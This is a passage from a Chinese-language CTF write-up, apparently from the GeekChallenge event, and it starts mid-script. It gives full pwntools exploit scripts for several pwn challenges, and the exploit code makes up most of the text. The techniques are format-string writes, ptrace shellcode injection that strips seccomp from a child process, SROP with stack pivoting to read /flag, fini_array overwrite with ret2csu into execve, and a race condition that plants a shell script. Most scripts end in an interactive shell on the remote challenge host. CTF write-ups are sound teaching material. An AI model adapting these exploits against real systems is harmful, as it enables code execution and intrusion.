sa(b'for?\n', p64(0x404040) + p64(0x404041))
45

46
ru(b'\x00')
47
libc_base = int(r(14).decode(), 16) - (libc.sym['__libc_start_main'] + 137)
48
leak('libc_base')
49

50
one_gadget = libc_os(0xe5ff0) # r9, r10 = 0
51

52
for i in range(6):
53
    sa(b'Exit.\n', b'2')
54
    sla(b'voice.\n', b'A'*0x100 + f'%{one_gadget % 256}c%8$hhn%12$p\x00'.encode())
55

56
    sa(b'Exit.\n', b'1')
57
    sa(b'for?\n', p64(0x404048 + i))
58

59
    one_gadget //= 256
60

61
ru(b'0x')
62
stack = int(r(12).decode(), 16)
63
leak('stack')
64

65
sa(b'Exit.\n', b'2')
66
sla(b'voice.\n', b'A'*0x100 + b'%182c%8$hhn%91c%9$hhn\x00')
67

68
sa(b'Exit.\n', b'1')
69
sa(b'for?\n', p64(stack - 0x78) + p64(stack - 0x78 + 1))
70

71
sa(b'Exit.\n', b'3')
72

73
itr()

ptrce#

用ptrace把子进程的got_seccomp全部改为空函数

再把sleep的返回地址改为父进程的功能地址，实现任意shellcode执行

这里attach后要等待子进程收到信号并暂停，用ai写了个暂停1秒

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8

9
choice = 2
10
if choice == 2:
11
    port =   32704
12
    target = 'geek.ctfplus.cn'
13
    p = remote(target, port)
14
elif choice == 1:
15
    p = process(file)
16
else:
17
    p = gdb.debug(file, '''
18
        set follow-fork-mode parent
19
        b *0x401849
20
        b *0x401AC2
21
        c
22
    ''')
23

24
def debug(cmd=''):
25
    if choice==1:
26
        return
27
    gdb.attach(p, gdbscript=cmd)
28

29

30
s       = lambda data               :p.send(data)
31
sl      = lambda data               :p.sendline(data)
32
sa      = lambda x,data             :p.sendafter(x, data)
33
sla     = lambda x,data             :p.sendlineafter(x, data)
34
r       = lambda num=4096           :p.recv(num)
35
rl      = lambda num=4096           :p.recvline(num)
36
ru      = lambda x                  :p.recvuntil(x)
37
itr     = lambda                    :p.interactive()
38
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
39
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
40
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
41
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
42
leak2    = lambda name               :log.success('{} = {}'.format(name, eval(name)))
43

44
sla(b'4) Exit\n', b'2')
45
ru(b'PID = ')
46
pid = int(p.recvline(keepends=False))
47
leak2('pid')
48

49
shellcode = f'''
50

51
mov rax, 101
52
mov rdi, 16
53
mov rsi, {pid}
54
mov rdx, 0
55
mov r10, 0
56
syscall
57

58
call sleep_1_second
59

60
mov rax, 101
61
mov rdi, 5
62
mov rsi, {pid}
63
lea rdx, [rbp-0x78]
64
mov r10, 0x4018E1
65
syscall
66

67
mov rax, 101
68
mov rdi, 5
69
mov rsi, {pid}
70
mov rdx, 0x404020
71
mov r10, 0x401B88
72
syscall
73

74
mov rax, 101
75
mov rdi, 5
76
mov rsi, {pid}
77
mov rdx, 0x404030
78
mov r10, 0x401B88
79
syscall
80

81
mov rax, 101
82
mov rdi, 5
83
mov rsi, {pid}
84
mov rdx, 0x404040
85
mov r10, 0x401B88
86
syscall
87

88
mov rax, 101
89
mov rdi, 5
90
mov rsi, {pid}
91
mov rdx, 0x404068
92
mov r10, 0x401B88
93
syscall
94

95
mov rax, 101
96
mov rdi, 7
97
mov rsi, {pid}
98
mov rdx, 0
99
mov r10, 0
100
syscall
101

102
mov rax, 101
103
mov rdi, 17
104
mov rsi, {pid}
105
mov rdx, 0
106
mov r10, 0
107
syscall
108

109
sleep_1_second:
110
    push rbp
111
    mov rbp, rsp
112
    sub rsp, 32
113

114
    mov rax, 96
115
    lea rdi, [rsp+16]
116
    mov rsi, 0
117
    syscall
118

119
    mov r8, [rsp+16]
120
    mov r9, [rsp+24]
121

122
sleep_loop:
123
    mov rax, 96
124
    lea rdi, [rsp]
125
    mov rsi, 0
126
    syscall
127

128
    mov r10, [rsp]
129
    mov r11, [rsp+8]
130

131
    sub r10, r8
132
    imul r10, r10, 1000000
133
    sub r11, r9
134
    add r10, r11
135

136

137
    cmp r10, 1000000
138
    jl sleep_loop
139

140
    add rsp, 32
141
    pop rbp
142
    ret
143

144

145
''' # 不能出现\x0a
146

147
asm1 = asm(shellcode)
148

149
assert b'\x0a' not in asm1
150

151
sla(b'4) Exit\n', b'1')
152
sla(b'to be?\n', str(len(asm1) + 1).encode())
153
sla(b'the memory?\n', b'7')
154
sla(b'to include?\n', asm1)
155

156
ru(b'at ')
157
addr = int(p.recvline(keepends=False), 16)
158
leak('addr')
159

160

161
sla(b'4) Exit\n', b'3')
162
sla(b'to execute code?\n', hex(addr)[2:].encode())
163

164
asm2 = asm(shellcraft.sh())
165

166
sla(b'4) Exit\n', b'1')
167
sla(b'to be?\n', str(len(asm2) + 1).encode())
168
sla(b'the memory?\n', b'7')
169
sla(b'to include?\n', asm2)
170

171
ru(b'at ')
172
addr = int(p.recvline(keepends=False), 16)
173
leak('addr')
174

175

176
sla(b'4) Exit\n', b'3')
177
sla(b'to execute code?\n', hex(addr)[2:].encode())
178

179

180
itr()

Mission Last Spell#

栈迁移

需要在栈上找一个地址，使其覆盖最低位后变为syscall地址，且执行下去能返回

这里只需[rbp+0x340]位置内容为0

srop的部分，改地址时要提前在下方写好rbp和返回地址，frame需要分两次读入

然后orw

（为什么栈的相对偏移会变？我没搞懂）

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 1
11

12
def solve():
13
    if choice:
14
        port =   30468
15
        target = 'geek.ctfplus.cn'
16
        p = remote(target, port)
17
    else:
18
        p = process(file, aslr=False)
19

20
    def debug(cmd=''):
21
        if choice==1:
22
            return
23
        gdb.attach(p, gdbscript=cmd)
24

25

26
    s       = lambda data               :p.send(data)
27
    sl      = lambda data               :p.sendline(data)
28
    sa      = lambda x,data             :p.sendafter(x, data)
29
    sla     = lambda x,data             :p.sendlineafter(x, data)
30
    r       = lambda num=4096           :p.recv(num)
31
    rl      = lambda num=4096           :p.recvline(num)
32
    ru      = lambda x                  :p.recvuntil(x)
33
    itr     = lambda                    :p.interactive()
34
    uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
35
    uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
36
    uru64   = lambda                    :uu64(ru('\x7f')[-6:])
37
    leak    = lambda name               :log.success('{}'.format(name))
38
    libc_os   = lambda x                :libc_base + x
39

40
    ru(b'received : ')
41
    l = rl().decode().split('; ')
42
    stack = int(l[0], 16)
43
    pie = int(l[1], 16) - 0x004050
44
    leak('pie')
45
    ru(b'enabled\n')
46

47
    rbp1 = stack + 0x8
48
    # rbp3 = rbp1 - 0x478
49
    rbp3 = rbp1 - 0xf68
50
    rbp2 = rbp3 + 0x88
51

52
    leak('rbp1')
53
    leak('rbp2')
54
    leak('rbp3')
55
    log.success(hex(rbp3))
56

57
    # debug()
58
    payload = b'A'*0x80
59
    payload += p64(rbp2)
60
    payload += p64(pie + 0x001584)
61
    s(payload)
62

63
    payload = b'A'*0x70
64
    payload += p64(rbp1)
65
    payload += p64(pie + 0x001584)
66
    payload += p64(rbp2 - 0x10)
67
    payload += p64(pie + 0x001584)
68
    s(payload)
69

70
    # s(p64(0) + p8(0x7f))
71
    s(p64(0) + p8(0x32))
72

73
    sleep(2)
74

75
    # --------------------------
76

77
    payload = b'A'*0x80
78
    payload += p64(rbp2)
79
    payload += p64(pie + 0x001584)
80
    s(payload)
81

82
    frame = SigreturnFrame()
83
    frame.rax = 2
84
    frame.rdi = rbp1 - 0x18
85
    frame.rsi = 0
86
    frame.rdx = 0
87
    frame.r12 = rbp1
88
    frame.rbp = rbp3 - 8 - 0x340
89
    frame.rsp = rbp3
90
    frame.rip = pie + 0x00159C # ret
91

92
    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))
93

94
    # debug('b *0x15555552d032')
95
    payload = b'A'*0x68
96
    payload += b'/flag\x00\x00\x00'
97
    payload += p64(rbp3 - 0x8)
98
    payload += p64(pie + 0x00159B)
99
    payload += p64(rbp2 + 0x80)
100
    payload += p64(pie + 0x001584)
101
    s(payload)
102

103
    s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))
104

105
    s(b'A'*15)
106
    log.success('open')
107
    sleep(5)
108

109
    # --------------------------
110

111
    payload = b'A'*0x80
112
    payload += p64(rbp2)
113
    payload += p64(pie + 0x001584)
114
    s(payload)
115

116
    frame = SigreturnFrame()
117
    frame.rax = 0
118
    frame.rdi = 1
119
    frame.rsi = rbp1 + 0x20
120
    frame.rdx = 0x40
121
    frame.r12 = rbp1
122
    frame.rbp = rbp3 - 8 - 0x340
123
    frame.rsp = rbp3
124
    frame.rip = pie + 0x00159C # ret
125

126
    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))
127

128
    # debug('b *0x15555552d032')
129
    payload = b'A'*0x70
130
    payload += p64(rbp3 - 0x8)
131
    payload += p64(pie + 0x00159B)
132
    payload += p64(rbp2 + 0x80)
133
    payload += p64(pie + 0x001584)
134
    s(payload)
135

136
    s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))
137

138
    s(b'A'*15)
139
    log.success('read')
140
    sleep(5)
141

142
    # --------------------------
143

144
    payload = b'A'*0x80
145
    payload += p64(rbp2)
146
    payload += p64(pie + 0x001584)
147
    s(payload)
148

149
    frame = SigreturnFrame()
150
    frame.rax = 1
151
    frame.rdi = 2
152
    frame.rsi = rbp1 + 0x20
153
    frame.rdx = 0x40
154
    frame.r12 = rbp1
155
    frame.rbp = rbp3 - 8 - 0x340
156
    frame.rsp = rbp3
157
    frame.rip = pie + 0x00159C # ret
158

159
    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))
160

161
    # debug('b *0x15555552d032')
162
    payload = b'A'*0x70
163
    payload += p64(rbp3 - 0x8)
164
    payload += p64(pie + 0x00159B)
165
    payload += p64(rbp2 + 0x80)
166
    payload += p64(pie + 0x001584)
167
    s(payload)
168

169
    s(bytes(frame)[0x80:].ljust(0x80, b'\x00') + p64(rbp1 - 0x10) + p64(pie + 0x001584))
170

171
    s(b'A'*15)
172
    log.success('write')
173

174
    itr()
175

176
for i in range(20):
177
    try:
178
        solve()
179
    except:
180
        pass

Mission Final Dance#

本地关闭aslr，方便调试

首先对0x4006e0断点，看它是怎么被定位的

如图所示，从elf中读入了fini_array起始位置，并从0x155555427168读入了一个偏移

而这个地址刚好残留在栈上，用printf修改偏移，并在buf写入vuln地址

进入vuln，然后ret2csu

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
libc = ELF('./libc.so.6')
9

10
choice = 0
11
if choice:
12
    port =   31635
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file, aslr=False)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38
ru(b'dance!\n')
39

40
# debug()
41
debug('b *0x155555210df9\nc\n')
42

43
payload = f'%{0x601060+0x98-0x600DD8}c%24$hn%7$p'.encode()
44
s(payload.ljust(0x88, b'\x00') + p64(0x400854) + b'/bin/sh\x00' + p64(0x400726))
45

46
ru(b'0x')
47
libc_base = int(r(12).decode(), 16) - (libc.sym['__libc_start_main'] + 240)
48
leak('libc_base')
49

50
payload = b'A'*(0x20+8)
51
payload += p64(0x40083A)
52
payload += p64(0)
53
payload += p64(1)
54
payload += p64(0x601060+0x88)
55
payload += p64(0)
56
payload += p64(0)
57
payload += p64(0x601060+0x90)
58
payload += p64(0x400820)
59
payload += p64(0)
60
payload += p64(0)
61
payload += p64(0)
62
payload += p64(0)
63
payload += p64(0)
64
payload += p64(0)
65
payload += p64(0)
66
payload += p64(libc_os(libc.sym['execve']))
67

68
s(payload)
69

70

71
itr()

Your name#

条件竞争，thread_arg是全局变量

如果在一个线程确定要进入op_write_file后，把thread_arg.op.index改为0，就可以对./log修改

再执行./log

1
from pwn import *
2

3
context.log_level = 'debug'
4

5
# p = process('./yourName')
6
p = remote("geek.ctfplus.cn", 30185)
7

8
payload = b'['
9

10
for i in range(10):
11
    payload += b'{"index":1, "buf":"'
12
    payload += b'#!/bin/sh\n/bin/sh' + b'\n'*5
13
    payload += b'"},'
14

15
for i in range(1):
16
    payload += b'{"index":0, "buf":"'
17
    payload += b'#!/bin/sh\n/bin/sh' + b'\n'*5
18
    payload += b'"},'
19

20
payload = payload.removesuffix(b',')
21
payload += b']'
22

23
p.recvuntil(b'>>')
24

25
p.send(payload)
26

27
p.interactive()

PWN_GAME#

文件名存在溢出，可以改出生点到边界外

把右下角O推到1处，再用@把它推到2处

这样，S就同时具有了is_push和is_you属性

接着，把两个S搞到3和4的位置，I就同时具有了is_push和is_you属性

用一个I把X填了，两个I走到右上角位置

由于step_game从上到下，从左到右执行

第一个I把第二个I推到第二行第一列

然后第二个I自己走一步，成功到6，win!

1
from pwn import *
2

3
context(arch='amd64', os='linux')
4
# context.log_level = 'debug'
5
context.terminal = ['tmux', 'splitw', '-h']
6
file = './pwn'
7
elf = ELF(file)
8
# libc = ELF('./libc.so.6')
9

10
choice = 0
11
if choice:
12
    port =   31566
13
    target = 'geek.ctfplus.cn'
14
    p = remote(target, port)
15
else:
16
    p = process(file)
17

18
def debug(cmd=''):
19
    if choice==1:
20
        return
21
    gdb.attach(p, gdbscript=cmd)
22

23

24
s       = lambda data               :p.send(data)
25
sl      = lambda data               :p.sendline(data)
26
sa      = lambda x,data             :p.sendafter(x, data)
27
sla     = lambda x,data             :p.sendlineafter(x, data)
28
r       = lambda num=4096           :p.recv(num)
29
rl      = lambda num=4096           :p.recvline(num)
30
ru      = lambda x                  :p.recvuntil(x)
31
itr     = lambda                    :p.interactive()
32
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
33
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
34
uru64   = lambda                    :uu64(ru('\x7f')[-6:])
35
leak    = lambda name               :log.success('{} = {}'.format(name, hex(eval(name))))
36
libc_os   = lambda x                :libc_base + x
37

38

39
payload = b'hard.y'.ljust(62, b'\x00') + b'\n'
40
s(payload)
41

42
# sassssssaaaaasdddddwds
43
# sassssssaaaaasdddddwdsssdddsdsssssaasasssssdddddaaadssdswwdd
44

45
itr()